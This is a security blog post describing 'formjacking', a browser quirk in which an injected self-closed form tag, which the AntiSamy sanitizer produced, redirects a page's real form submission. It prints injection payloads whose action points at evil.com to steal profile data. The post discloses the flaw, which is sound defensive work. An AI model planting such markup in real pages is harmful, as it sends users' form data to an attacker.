OP: http://i8jesus.com/?p=48

By: arshan dabirsiaghi

Forget sidejacking, clickjacking, and carjacking: enter “Formjacking”

A colleague of mine, Jerry Hoff, was testing AntiSamy a while ago and he found an interesting technique he quite hilariously and tongue-in-cheekly called “formjacking.” Once we dissected the payload we found a very strange cross-browser behavior. I wanted to talk about it but never had a chance until now.

It seems that FF3 and IE7 respond uniformly and strangely to self-contained XHTML in many cases. We had encountered this behavior before in responding to functional “bugs” in AntiSamy(though I am not surprisingly more inclined to blame them on the browser). When the browser sees the following text, the words “anna faris deserves better” are shown in italics:

<i /> anna faris deserves better

Everything that came after the self-contained italic tag was italicized. The same behavior was found for the bold and underline tags. In AntiSamy we special-cased those and other basic formatting tags to be removed if they were self-contained, and we thought we were done.

Fast forward to Jerry’s payload. Jerry was passing in the following string:

<form action="http://evil.com/stealcontent">

Jerry wanted to pass in an extraneous opening form tag that would pre-empt the other <form> tag in order to steal the profile data when the user hit the submit button. He was counting on something like this appearing after the application reflected his input:

```
<!-- begin evil user-supplied data -->
<form action="http://evil.com/stealProfileInfo">
<!-- end evil user-supplied data -->
...
<form action="/good/updateProfile">
<textarea name='profile'></textarea>
</form>
```

He was hoping that the browser would ignore the original <form> tag which has been nested by his attack string. This would work across browsers as you can demonstrate for yourself on this test page. This type of attack never worried me with AntiSamy because I knew that AntiSamy balances input. Because Jerry didn’t have properly formed XHTML in his input (he only had an opening tag and no closing tag), AntiSamy cleaned it up for him and his resulting profile was this value:

<form action="http://evil.com/stealProfileInfo"/>

Notice that it is self-contained. Little did I know that I should be worried about this. Much how the self-contained tags <b/> and <i/> embolden or italicize the rest of the page, this self-contained <form/> tag

somehow forced the browser to ignore the following <form> tag, and thus stole all the inputs on the rest of the page. So when the user hits the submit button, all the information is sent to evil.com!

I don't think I'm alone in thinking this is very strange behavior. Because of the nature of XML, you would think that a self-contained <form/> tag should have absolutely zero impact on anything else on the page, including any other forms. This is not the case, obviously. You can find some simple test pages for mixing self-contained with non-self-contained <form> tags here, but the net result is this – if the attacker can provide a <form> tag before your <form> tag, they can steal the form data.

There's probably more stuff you can do with this browser behavior. <script/>, anyone?